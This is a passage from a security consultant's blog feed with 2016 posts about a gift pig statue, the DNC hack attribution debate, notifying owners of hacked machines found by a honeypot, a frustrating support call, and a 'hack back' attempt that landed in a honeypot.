<p>Sitting together on our front porch, Karen opened what was supposed to be a surprise anniversary gift (we had decided not to get each other individual gifts - the trip was our gift) only to find&hellip; well&hellip; several hundred chunks of the &ldquo;cutest pig statue ever.&rdquo;</p>
<p>(Note: The pig was the item, broken in transit, that I referenced in an earlier blog post, <a href="https://yourflyis0pen.com/article/potato/">Po-tay-to&hellip; Po-tah-to</a>)</p>
<p>Fast forward to today&hellip;</p>
<p>This past weekend, I drove my daughter Maggie to Raleigh, NC where she will be attending Meredith College. After two years at another college, she wasn&rsquo;t really sure she was on the right path and took a year off to participate in Mission Year - an urban ministry program focused on discipleship in (in her case) inner city Houston. After that, she decided to continue her education at Meredith.</p>
<p>A few weeks after she had asked me about driving her to school, a lightbulb lit up above my head. I looked at Google maps and found that Rockingham was only a two hour detour&hellip;</p>
<p><img src="car.jpg" alt="A pig and a spare&hellip;"></p>
<p>I called Amy again and asked to purchase two pigs for pickup. Why two? As much trouble as this dang pig has been, I really need to have a spare.</p>
<p><img src="porch.jpg" alt="A pig on a porch"></p>
<p>This picture is two and a half years in the making. In it, you&rsquo;ll see the &ldquo;cutest pig statue ever&rdquo; sitting on our front porch&hellip; right where it belongs.</p>
<p>I said that this was a story about living life&hellip; but what did I mean?</p>
<p>I love my wife, and while a two and a half year hunt for the &ldquo;cutest pig statue ever&rdquo; may seem crazy, it reminds me that while you may not love what you&rsquo;re doing at every moment, if you love the overall goal, it&rsquo;s all more than worthwhile.</p>
<p>There&rsquo;s always a part of the day-to-day minutia of anything we do that&rsquo;s dull, boring, or tedious. (I believe that &ldquo;looking through pictures of hundreds of pig statues&rdquo; is actually the archetypical example used to define &ldquo;tedious.&rdquo;)</p>
<p>Nothing worthwhile works out easily - but persistence has a way of paying off in the end.</p>
<p>And you know what? That pig statue actually is pretty darned cute&hellip;</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
August 16, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/personal" term="personal" label="personal" />
                            
                        
                    
                 
                    
                 
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Extraordinary Claims, Ordinary Evidence...]]></title>
            <link href="https://yourflyis0pen.com/article/extraordinary-claims/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/why-lie/?utm_source=atom_feed" rel="related" type="text/html" title="Why Lie?" />
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/if-you-leave-a-hacker/?utm_source=atom_feed" rel="related" type="text/html" title="If You Leave a Hacker a Default Password..." />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
            
                <id>https://yourflyis0pen.com/article/extraordinary-claims/</id>
            
            
            <published>2016-07-30T13:59:13-06:00</published>
            <updated>2016-07-30T13:59:13-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>The phrase is attributed to Marcello Truzzi, founding co-chairman of the Committee for the Scientific Investigation of Claims of the Paranormal (CSICOP):</p>
<blockquote>
<p><em>&ldquo;An extraordinary claim requires extraordinary proof.&rdquo;</em></p>
</blockquote>
<p>Truzzi&rsquo;s quote, from his work, <em>On the Extraordinary: An Attempt at Clarification</em>, Zetetic Scholar, Vol. 1, No. 1, p. 11, (1978) echos ideas developed much earlier by various metaphysical philosophers. In his 1832 paper <em>Théorie Analytique des Probabilités</em>, Laplace wrote: &ldquo;The weight of evidence for an extraordinary claim must be proportioned to its strangeness.&rdquo; In his <em>An Enquiry Concerning Human Understanding</em> (1784), David Hume wrote: &ldquo;A wise man&hellip; proportions his belief to the evidence,&rdquo; and &ldquo;No testimony is sufficient to establish a miracle, unless the testimony be of such a kind, that its falsehood would be more miraculous than the fact which it endeavors to establish.&rdquo;</p>
<p>But it&rsquo;s 2016. All that old sk00l thinking is&hellip; well&hellip; antiquated. In an era where 24-hour news isn&rsquo;t so much about &ldquo;facts&rdquo; as it is about &ldquo;engagement,&rdquo; the world of Laplace, Hume and Truzzi is nothing but an irrelevant memory of a more naïve time.</p>
<p>And just when you thought that the American election process couldn&rsquo;t get stranger, it does.</p>
<p>Much stranger.</p>
<p>This week, serious people decided to throw Truzzi&rsquo;s maxim out the window and just go with whatever the hell sounded plausible. &ldquo;Extraordinary proof&rdquo; is so frickin&rsquo; boooooring.</p>
<p>Perhaps it&rsquo;s just me, but the theory that Russia is attempting to overtly influence the outcome of American elections seems to rise to the level of an &ldquo;extraordinary claim.&rdquo; Sadly, I think that fact has managed to somehow become culturally irrelevant.</p>
<p>As for the evidence, I&rsquo;ve seen nothing so far that rises to a level that gets it past the whole &ldquo;beyond a reasonable doubt&rdquo; standard that I <em>think</em> the media used to strive to surpass. It&rsquo;s filled with weasel words (ex. &ldquo;likely,&rdquo; &ldquo;highly probable&rdquo;) and - even more damning - suffers from some unflatteringly transparent contradictions (ex. self-congratulatory phraseology describing the investigation&rsquo;s ability to quickly work their way past the &ldquo;superb tradecraft&rdquo; of the intruders while simultaneously pointing out their apparent n00b-like &ldquo;blunders&rdquo; - leaving metadata in edited files, etc&hellip;)</p>
<p>There is an almost willful blind-spot on the part of the &ldquo;investigators.&rdquo; It&rsquo;s almost as if you can hear them say: &ldquo;Look at all of these blunders by the bad guys - it just goes to prove that we&rsquo;re so much smarter, taller, and better looking than them&hellip; <em>False flags?</em> No. These couldn&rsquo;t possibly be false flags. We know false flags when we see them (and we&rsquo;re lookin&rsquo; at you, Guccifer 2.0). We&rsquo;re so smart.&rdquo;</p>
<p>Having been incorporated into the mainstream political discourse, this is pretty much a done deal. Russia did it. No questions allowed.</p>
<p>But I have questions.</p>
<p>Lots of questions.</p>
<p>Questions that can only be answered by the extraordinary proof that we&rsquo;re never going to get.</p>
<p>-TL
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
July 27 2016</p>
<p><strong>Addendum (July 28, 2016):</strong></p>
<p>My friend Chris Sanders (<a href="https://twitter.com/chrissanders88">@chrissanders88</a>) asked me to &ldquo;cite specific examples&rdquo; of where I feel the evidence is lacking. Full disclosure: Chris works for Mandiant/FireEye. (I believe it is important to also note that, despite my <em>constant</em> urging, he has been unable to convince them that they should change the company name to FireAnt.) So&hellip; here you go Chris. I hope you&rsquo;re sitting down - and while I&rsquo;m happy to oblige, it&rsquo;s important to remember, <em>onus probandi incumbit ei qui dicit, non ei qui negat</em> i.e. it isn&rsquo;t MY job to make a case&hellip; ‘cause I&rsquo;m not the one making the claim.</p>
<p>Note: Chris wasn&rsquo;t saying I was wrong&hellip; he was just pushing me to develop my argument further. Also, <em>I&rsquo;m</em> not saying that the overall conclusion (<em>Russia did it</em>) is wrong - I&rsquo;m just saying that this is a lousy way to make an argument and, therefore, it teaches people to accept lousy arguments.</p>
<p>For the most part, the technical details making the case that the DNC intruders are Russian aren&rsquo;t even available (see #1 below). So while I can point out problems in the details that ARE available, the bulk of my rebuttal will be based on pointing out formal logic errors in the conclusions being drawn.</p>
<ol>
<li>First of all, we need to get this out of the way: Currently, the concept of &ldquo;attack attribution&rdquo; on the Internet has been slapped around and then held down and forceably violated by &ldquo;OpSec.&rdquo; Beginning with the Sony breach, we&rsquo;ve seen several high profile &ldquo;attack attributions&rdquo; chucked to the media by shadowy agencies who can only manage to say <em>&ldquo;X did it&rdquo;</em> before tagging on <em>&ldquo;we can&rsquo;t tell you HOW we know&hellip; OpSec.&rdquo;</em> Here&rsquo;s the bottom line on that bullshit: Look up at the top of this blog post - <em>&ldquo;An extraordinary claim requires extraordinary proof.&rdquo;</em> If you&rsquo;re going to make an extraordinary claim (&ldquo;The Russians are overtly attempting to influence U.S. elections&rdquo;) then you MUST provide rock-solid, definitive proof. NO EXCEPTIONS. Otherwise, keep your Goddamned mouth shut. Even if you KNOW FOR CERTAIN THAT SOMETHING IS TRUE if you&rsquo;re not going to provide us with proof, STFU.
<ul>
<li>NSA/FBI/CIA: Stop this crap RIGHT NOW. <em>Argumentum ab auctoritate</em> wasn&rsquo;t cool back when our parents told us &ldquo;because I said so,&rdquo; and it certainly isn&rsquo;t cool in this context. You&rsquo;re indoctrinating the public with an incredibly bad habit (&ldquo;accepting assertions of authority&rdquo;) and you need to stop.</li>
</ul>
</li>
<li>CrowdStrike <a href="https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee">claims</a> the attackers are highly sophisticated (&ldquo;Their tradecraft is superb, operational security second to none&hellip;&rdquo;) and yet we&rsquo;re - at the same time - supposed to believe that the intruders were so stupid that they &ldquo;accidentally&rdquo; left metadata in released documents showing that the file was edited on a machine configured with Russian language settings by someone with a Cyrillic username (Феликс Эдмундович - &ldquo;Iron Felix&rdquo;) that references the dearly departed Felix Dzerzhinsky, one of the founders of the Soviet Secret Police. Another leaked document included hyperlink error messages in Cyrillic, the result of editing the file on a computer with Russian language settings. Sorry, but you can&rsquo;t have it both ways: either the intruders have OpSec &ldquo;second to none,&rdquo; or they are the Moe, Larry, and Curly of cyber-attackers. CHOOSE.</li>
<li>One of my favorite conclusions: After the &ldquo;edited-on-computers-with-Russian-language-settings&rdquo; cockup became public, &ldquo;the intruders removed the Cyrillic information from the metadata in the next dump and carefully used made-up user names from different world regions, thereby confirming they had made a mistake in the first round.&rdquo; <em>Or&hellip; <strong>not</strong>. Perhaps - just perhaps - you&rsquo;re choosing to see &ldquo;confirmation&rdquo; of your foregone conclusions in the actions of an adversary attempting obfuscation. Perhaps you&rsquo;re seeing EXACTLY what they want you to see.</em></li>
<li>Follow this chain of logic: Guccifer 2.0 claims to be Romanian. Guccifer 2.0 cannot speak colloquial Romanian. Therefore Guccifer 2.0 is Russian. (Technically, this is a fallacy of four terms or <em>Quaternio terminorum</em> in Latin.)</li>
<li>The intruders used the same command and control infrastructure that the Russians have used in the past, therefore they MUST BE THE RUSSIANS! Uh&hellip; no. They used hacked systems on non-Russian networks for C &amp; C. Of course it would be utterly impossible for anyone else to use those hacked systems - they&rsquo;re so&hellip; er&hellip; um&hellip; secure&hellip; nevermind.</li>
<li>Finally, and this is my favorite, see if you can find the formal logical flaw here: The DNC attackers used tools A, B, and C and methods X, Y, and Z. Russian attackers use tools A, B, and C and methods X, Y, and Z. Therefore, the DNC attackers are Russian. (Hint: It falls into the same category as this: <em>Steve is carrying a purse. Women carry purses. Therefore, Steve is a woman.</em>)</li>
</ol>
<p>So if your biggest, baddest &ldquo;proof&rdquo; (#6 above) rests on a logical flaw (and FYI, it&rsquo;s known as the &ldquo;fallacy of the undistributed middle&rdquo; or in Latin, <em>non distributio medii</em>) then really: What frickin&rsquo; proof do you have?</p>
<p><strong>Addendum II (July 30, 2016):</strong></p>
<p>I&rsquo;ve had several people ask me, &ldquo;Well, if the Russians didn&rsquo;t do it, then who did?&rdquo; Unfortunately, I think you&rsquo;re missing the point here. I&rsquo;m NOT SAYING that I disagree with the conclusion - I have a problem with the fact that there IS a conclusion with no real evidence to back it up. I&rsquo;m saying is <em>NO ONE HAS PROVEN ANYTHING, so let&rsquo;s stop going around acting like they have.</em> The media has taken this particular ball and uncritically run with it: <em>AND THAT&rsquo;S A PROBLEM.</em></p>
<p>This rant isn&rsquo;t about Russia. This rant isn&rsquo;t about hacking or attribution. This rant is about people being taught to accept extraordinary claims without evidence. People shouldn&rsquo;t be willing to accept claims like this without adequate and compelling proof. Encouraging this type of behavior is dangerous and <em>WILL</em> have consequences.</p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/professionalism" term="professionalism" label="professionalism" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Why Lie?]]></title>
            <link href="https://yourflyis0pen.com/article/why-lie/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="related" type="text/html" title="What Clinic Are You With?" />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/if-you-leave-a-hacker/?utm_source=atom_feed" rel="related" type="text/html" title="If You Leave a Hacker a Default Password..." />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/danger-will-robinson/?utm_source=atom_feed" rel="related" type="text/html" title="Danger, Will Robinson!" />
            
                <id>https://yourflyis0pen.com/article/why-lie/</id>
            
            
            <published>2016-07-11T13:59:13-06:00</published>
            <updated>2016-07-11T13:59:13-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>People lie to me.</p>
<p>A lot.</p>
<p>The thing is, I&rsquo;m not entirely sure why.</p>
<p>The scenario goes something like this:</p>
<p>Someone&rsquo;s computer gets 0wned. It really doesn&rsquo;t matter how, and in most cases, I actually don&rsquo;t know <em>exactly</em> how. It just gets 0wned.</p>
<p>The bad guys doin&rsquo; the 0wnin&rsquo; install some malicious software that uses the 0wned machine (and the 0wned machine&rsquo;s bandwidth) to start scanning the ‘Net for other 0wnable machines. Eventually, the malicious scanning software finds my honeypot.</p>
<p>The whole point of a honeypot is that it looks incredibly 0wnable. Specifically, my honeypot system looks to be vulnerable to dozens of different kinds of attacks. When malicious scanning software finds my honeypot, the malware&rsquo;s little digital salivary glands shift into overdrive.</p>
<p>And so&hellip; <em>the dance begins.</em></p>
<p>The attacking software will try, over and over, to 0wn the honeypot. Remember, the honeypot looks vulnerable&hellip; but it isn&rsquo;t. Sometimes the tenacity of attacking malware becomes a little ridiculous. I&rsquo;ve had attacking systems continuously try to 0wn my honeypot for months on end.</p>
<p>Aside from looking like it can get 0wned six ways to Sunday, a honeypot has one other, very important function: it logs everything.</p>
<p>I look at those logs pretty much every day and dig through the attacks. I research the IP addresses of the attacking systems, and I try to notify the system owners. By far, the bulk of the attacking hosts on the Internet are machines that attackers have already hacked, so rather than tracking down the actual attackers, I&rsquo;m tracking down their victims. Over the years, this goofy &ldquo;hobby&rdquo; has allowed me to notify hundreds (perhaps thousands) of system owners - delivering the bad news that they&rsquo;ve been hacked.</p>
<p>Tracking down the owners of 0wned systems is something of a black art: IP addresses, for the most part, don&rsquo;t have usable reverse information (ex. looking up mail.example.com always gets you the IP address 12.34.56.78, but trying to do a reverse lookup on 12.34.56.78 generally won&rsquo;t get you back to mail.example.com). There are other tools to assist with this (WHOIS, etc&hellip;) but they&rsquo;re all pretty limited. The upshot: tracking down system owners is a hit-or-miss process at best.</p>
<p>So even when I&rsquo;m able to track down some information that indicates who owns a hacked system, I&rsquo;m never 100% sure - I get close, but never 100%. My messages to system owners are always in disclaimer-speak: &ldquo;If this is your system, you should probably&hellip;&rdquo;</p>
<p>That&rsquo;s where the lying comes in.</p>
<p>It&rsquo;s happened several times over the course of the past few months. I&rsquo;ll contact someone and lay out a pretty good case for them being the owner of a hacked system. Sometimes I&rsquo;ll have used some special toyz (to which I&rsquo;ve been given access) to actually figure out the DNS name of the box. Sometimes I&rsquo;ll use some <a href="https://yourflyis0pen.com/articles/knock/">cool trickery</a> to discover what the box believes it is called. No matter how I figure it out, before I contact someone, I&rsquo;ll be reasonably certain about who owns the system (note: the &ldquo;owner,&rdquo; not the &ldquo;0wner&rdquo;).</p>
<p>So I contact them.</p>
<p><em>&ldquo;Nope. We&rsquo;ve checked. We&rsquo;ve had other people check. We&rsquo;ve asked strangers to check. We&rsquo;ve asked all our employees. We&rsquo;ve asked them to ask their friends and neighbors&hellip; and THEY&rsquo;VE all checked. We went straight to the source and asked the horse and even the famous Mr. Ed is <strong>ABSOLUTELY</strong> certain: IT&rsquo;S NOT OUR MACHINE.&rdquo;</em></p>
<p>But somehow, <em>magically</em>, the hacked machine that&rsquo;s been blasting my honeypot every day for weeks on end&hellip; just stops.</p>
<p>I get it.</p>
<p>It&rsquo;s embarrassing when your company gets 0wned. Obviously, you did something dumb and a poor unsuspecting computer paid the price and was&hellip; well&hellip; violated.</p>
<p>But really&hellip;</p>
<p>Lie to your stockholders. Lie to government regulators. Don&rsquo;t lie to me&hellip;</p>
<p>Just think of me like your mother: I always know when you&rsquo;re lying.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
July 11, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/attribution" term="attribution" label="attribution" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/rant" term="rant" label="rant" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[What Clinic Are You With?]]></title>
            <link href="https://yourflyis0pen.com/article/what-clinic-are-you-with/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/pwned-me-a-n00b/?utm_source=atom_feed" rel="related" type="text/html" title="Pwned Me a N00b" />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/stoopid/?utm_source=atom_feed" rel="related" type="text/html" title="Stoopid *" />
            
                <id>https://yourflyis0pen.com/article/what-clinic-are-you-with/</id>
            
            
            <published>2016-07-05T11:54:48-06:00</published>
            <updated>2016-07-05T11:54:48-06:00</updated>
            
            
            <content type="html"><![CDATA[<p>I&rsquo;ve said it before. <a href="https://yourflyis0pen.com/article/and-who-are-you/">I hate the phone calls.</a></p>
<p><em>&ldquo;Welcome to BLAH-BLAH-BLAH, please listen carefully as our menu options have changed.&rdquo;</em></p>
<p><em>&ldquo;Listen carefully?&rdquo;</em> The menu options have changed? Are they so gosh-darned complex that they need to be constantly updated? I grab a pen and a pad of paper, convinced that I&rsquo;m about to be inundated with options.</p>
<p><em>&ldquo;Dial &lsquo;1&rsquo; if you know your party&rsquo;s extension. Dial &lsquo;2&rsquo; for sales. Dial &lsquo;3&rsquo; for support and dial &lsquo;4&rsquo; for our dial-by-name directory.&rdquo;</em></p>
<p>Wait&hellip; what? Well that was a disappointment.</p>
<p>Seriously? <em>&ldquo;Listen carefully?&rdquo;</em> You have four frickin&rsquo; options&hellip; it ain&rsquo;t rocket science.</p>
<p>Unfortunately, none of those even begin to apply to the task at hand. I&rsquo;m here to report a compromised machine.</p>
<p>I decide to try to do an end run on the whole &ldquo;automated-attendant&rdquo; BS and dial &ldquo;0.&rdquo;</p>
<p><em>&ldquo;We&rsquo;re sorry you&rsquo;re having trouble. Goodbye&rdquo;</em> [click]</p>
<p>What the hell&hellip;?</p>
<p>I call back to be greeted by the same warning about the wholly ephemeral nature of their menu options. I find myself vaguely hoping that they&rsquo;ll have changed since my last call, 30 seconds ago.</p>
<p>No such luck.</p>
<p>This time, I press &ldquo;3&rdquo; because in some twisted way my mission is peripherally &ldquo;support-like.&rdquo;</p>
<p>The woman who answers the phone just exudes &ldquo;cranky&rdquo; vibes.</p>
<p>This will not end well.</p>
<p><em>&ldquo;What clinic are you with?&rdquo;</em></p>
<p><em>&ldquo;Well, I&rsquo;m not actually with a clinic, and you&rsquo;re probably the wrong person to talk to, but your phone menu didn&rsquo;t give me a lot of options. I&rsquo;m hoping that you can direct me to the right person.&rdquo;</em></p>
<p>Literally, crickets.</p>
<p><em>&ldquo;Ok, then&hellip; I need to speak to someone in your IT department about a computer owned by your company. It appears to be compromised.&rdquo;</em></p>
<p>Again, crickets.</p>
<p><em>&ldquo;Hello?&rdquo;</em> I&rsquo;m afraid she may have dozed off.</p>
<p><em>&ldquo;Yes. What clinic is this machine located in?&rdquo;</em></p>
<p><em>&ldquo;Well&hellip; I.. uh&hellip; I don&rsquo;t know. I don&rsquo;t know if it&rsquo;s located in a clinic. I think it&rsquo;s one your company&rsquo;s systems.&rdquo;</em></p>
<p><em>&ldquo;Then what clinic are you calling from.&rdquo;</em></p>
<p><em>&ldquo;I&rsquo;m not from a clinic. I&rsquo;m calling about one of your company&rsquo;s computers. It appears to be compromised&hellip; hacked&hellip; and it&rsquo;s attacking other systems on the Internet.&rdquo;</em></p>
<p><em>&ldquo;The Internet?&rdquo;</em></p>
<p><em>&ldquo;Yes, ma&rsquo;am.&rdquo;</em></p>
<p><em>&ldquo;Please hold.&rdquo;</em></p>
<p>Dead air. I&rsquo;m not entirely sure what about my mention of the Internet caused her to need to put me on hold. Perhaps it&rsquo;s company policy - <em>&ldquo;If someone calls and mentions the Internet, immediately put them on hold.&rdquo;</em> That seems unlikely.</p>
<p>Perhaps she&rsquo;s getting someone else. Maybe I&rsquo;ll be transfered to an &ldquo;Attacking the Internet&rdquo; specialist. I cross my fingers and wait.</p>
<p><em>&ldquo;Hello?&rdquo;</em> Nope. It&rsquo;s her again.</p>
<p><em>&ldquo;Yes?&rdquo;</em></p>
<p><em>&ldquo;You said that you&rsquo;re calling about a computer?&rdquo;</em></p>
<p><em>&ldquo;Yes.&rdquo;</em></p>
<p><em>&ldquo;And you said it&rsquo;s OUR computer?&rdquo;</em></p>
<p><em>&ldquo;Yes. It thinks it&rsquo;s part of something called BLAH-BLAH-BLAHcloud.com. Is BLAH-BLAH-BLAHcloud something to do with your company?&rdquo;</em></p>
<p><em>&ldquo;Please hold.&rdquo;</em></p>
<p>Dead air. Obviously this woman has several trigger words including both &ldquo;Internet&rdquo; and &ldquo;cloud.&rdquo; Oddly those are MY trigger words as well. Perhaps we&rsquo;re kindered spirits. I consider mispronouncing &ldquo;nuclear&rdquo; as &ldquo;noo-cue-lur&rdquo; just to see if that bothers her too, but I&rsquo;m at a loss as to how to work it into the conversation.</p>
<p><em>&ldquo;Sir&hellip;?&rdquo;</em> She&rsquo;s back&hellip;</p>
<p><em>&ldquo;Yes?&rdquo;</em></p>
<p><em>&ldquo;Why are you contacting support about this?&rdquo;</em></p>
<p><em>&ldquo;Because there are four options on you phone menu. I don&rsquo;t know my party&rsquo;s extension. I don&rsquo;t know a name to dial. So it was down to &lsquo;support&rsquo; or &lsquo;sales.&rsquo; It was a coin flip.&rdquo;</em></p>
<p><em>&ldquo;Please hold.&rdquo;</em></p>
<p>What in the hell can she be doing that she needs to keep putting me on hold? Vaguely, I picture a bunch of bespectacled people in lab coats standing around a solitary phone, clipboards in hand, conferring in whispered tones and acting out some twisted psychological experiment designed to somehow turn me impotent. But I digress&hellip;</p>
<p><em>&ldquo;Sir&hellip;?&rdquo;</em></p>
<p><em>&ldquo;Yes?&rdquo;</em></p>
<p><em>&ldquo;I&rsquo;m going to create a support ticket for your issue and have someone from our IT department give you a call&rdquo;</em></p>
<p>Holy hell&hellip; did she just say something reasonable? Where did that come from?</p>
<p><em>&ldquo;I&rsquo;ll need to get some details from you. What is your name?&rdquo;</em></p>
<p>I give it to her.</p>
<p><em>&ldquo;And your phone number?&rdquo;</em></p>
<p>I give it to her, flabbergasted that a conversation that I&rsquo;d, essentially, written-off was actually going somewhere.</p>
<p>And that&rsquo;s when it happened:</p>
<p><em>&ldquo;Ok&hellip; And what clinic are you with?&rdquo;</em></p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
July 5, 2016</p>]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/categories/attacks" term="attacks" label="attacks" />
                            
                        
                    
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://yourflyis0pen.com/tags/attribution" term="attribution" label="attribution" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/craziness" term="craziness" label="craziness" />
                             
                                <category scheme="https://yourflyis0pen.com/tags/stoopid" term="stoopid" label="stoopid" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[Pwned Me a N00b]]></title>
            <link href="https://yourflyis0pen.com/article/pwned-me-a-n00b/?utm_source=atom_feed" rel="alternate" type="text/html" />
            
                <link href="https://yourflyis0pen.com/article/merica/?utm_source=atom_feed" rel="related" type="text/html" title="Now You&#39;re Messin&#39; With &#39;Merica" />
                <link href="https://yourflyis0pen.com/article/do-more-research/?utm_source=atom_feed" rel="related" type="text/html" title="Maybe You Should Do More Research..." />
                <link href="https://yourflyis0pen.com/article/if-i-cant-see-it/?utm_source=atom_feed" rel="related" type="text/html" title="If I Cant See It, It Isn&#39;t A Problem..." />
                <link href="https://yourflyis0pen.com/article/mnsm/?utm_source=atom_feed" rel="related" type="text/html" title="MNSM for Dummies" />
                <link href="https://yourflyis0pen.com/article/stoopid/?utm_source=atom_feed" rel="related" type="text/html" title="Stoopid *" />
            
                <id>https://yourflyis0pen.com/article/pwned-me-a-n00b/</id>
            
            
            <published>2016-06-28T09:47:28-06:00</published>
            <updated>2016-06-28T09:47:28-06:00</updated>
            
            
            <content type="html"><![CDATA[<p><em>The following is a Medieval tale of treachery gone awry. Its origins date back to my time working at InGuardians: we had a client who had an employee who was convinced that his boss was wasting money hiring a professional security consulting firm. He was pretty sure that he knew waaay more than those &ldquo;InGuardians dudes&rdquo; and, to prove his point, he planned a little stunt. He decided that when we started doing our testing, he would try &ldquo;hacking back&rdquo; just to see if we were being careful - if he found anything &ldquo;fun,&rdquo; he would use it to make us look foolish to his boss.</em></p>
<p><em>I was the one doing the testing&hellip; and I&rsquo;m <strong>always</strong> careful.</em></p>
<p><em>Imagine his surprise when he found out how incredibly easy InGuardians was to hack&hellip;</em></p>
<p><img src="o.png" width="100" height="100" style="border:none;display:inline !important">nce upon a time, a noble knight of the InGuardians clan was asked by a client to perform a penetration test against that client&rsquo;s network. Late one afternoon, the noble knight began his testing, and lo!, there was much 0wnage to be had.</p>
<p>While the knight was doing his heroic deeds, little did he know that a plan was hatching in the mind of one of the client&rsquo;s minions. &ldquo;<em>Those knights aren&rsquo;t nearly as cool as everyone makes them out to be,</em>&rdquo; thought the minion, &ldquo;<em>I believe I shall try to show them up.</em>&rdquo;</p>
<p>Now the noble knight had been required by the client to provide details describing the &ldquo;location&rdquo; from whence his testing would proceed. Thus, the minion - armed with this knowledge - did plan a counter-attack against the knight, thinking that the knight would be using some type of &ldquo;Live CD&rdquo; to do his testing.</p>
<p><img src="a.png" width="100" height="100" style="border:none;display:inline !important">nd it came to pass that the minion attempted to log into the knight&rsquo;s system via &ldquo;ye olde SSH&rdquo; in a vain attempt to disprove the rumors of the knight&rsquo;s coolness.</p>
<p>Unfortunately for the minion, he forgot that knights <em>always</em> wear armor.</p>
<p>Thus, due to a truly awesome network / routing setup on the part of the knight, when the minion &ldquo;hacked back&rdquo; at the knight&rsquo;s location, the minion did find himself logged in as &ldquo;root&rdquo; on what appeared to be the knight&rsquo;s testing machine.</p>
<p>And there was much rejoicing - and giggling like a schoolgirl - as the minion began planning to reveal his treachery.</p>
<p>But, as he looked around, attempting to gather information on the knight&rsquo;s system as proof of his superiority to the knight, the minion began to feel, more and more, that something was amiss. The system seemed oddly quiet&hellip; too quiet. In fact, it appeared that the minion was the only one logged in&hellip;</p>
<p>The minion logged off and then back on. All together, he logged into what he believed to be the knight&rsquo;s machine three times, and issued many commands&hellip; but alas, everything seemed wrong.</p>
<p><img src="s.png" width="100" height="100" style="border:none;display:inline !important">lowly it began to dawn on the minion that perhaps things hadn&rsquo;t worked out quite as well as he thought. He began to get the idea that he had stumbled into a trap.</p>
<p>He went to his master and slowly and fearfully admitted all that he had done. His master was - to put it mildly - displeased. Shocked at the stupidity of his minion, the master explained the concept of a &ldquo;honeypot&rdquo; and then ordered the minion to contact the InGuardians clan, make penance, and hope that the clan would be merciful.</p>
<p><img src="t.png" width="100" height="100" style="border:none;display:inline !important">he knights of the InGuardians clan are nothing if not merciful. They chided the minion but forgave him, telling him that they hoped he had learned a lesson.</p>
<p>And, to make the lesson perfectly clear to both the minion and his master, they showed the minion that the result of his treachery was forever etched into the fabric of the Internet by the Twittering of a bird.</p>
<img src="birdsong.png" height="100" style="border:none;">
<p><br>
And, once again, there was much rejoicing - this time by the Knights of the InGuardians clan.</p>
<p>Therefore, I beseech of you: <a href="http://cutawaysecurity.com/">Go forth and do good things</a> - always remembering that every time you hack back, God kills a kitten.</p>
<p>-TL<br>
Tom Liston<br>
Owner, Principal Consultant<br>
Bad Wolf Security, LLC<br>
Mastodon: @tliston@infosec.exchange<br>
Twitter (yes, I know&hellip; <em>X</em>): @tliston<br>
June 28, 2016</p>
]]></content>
            
                 
                    
                 
                    
                         
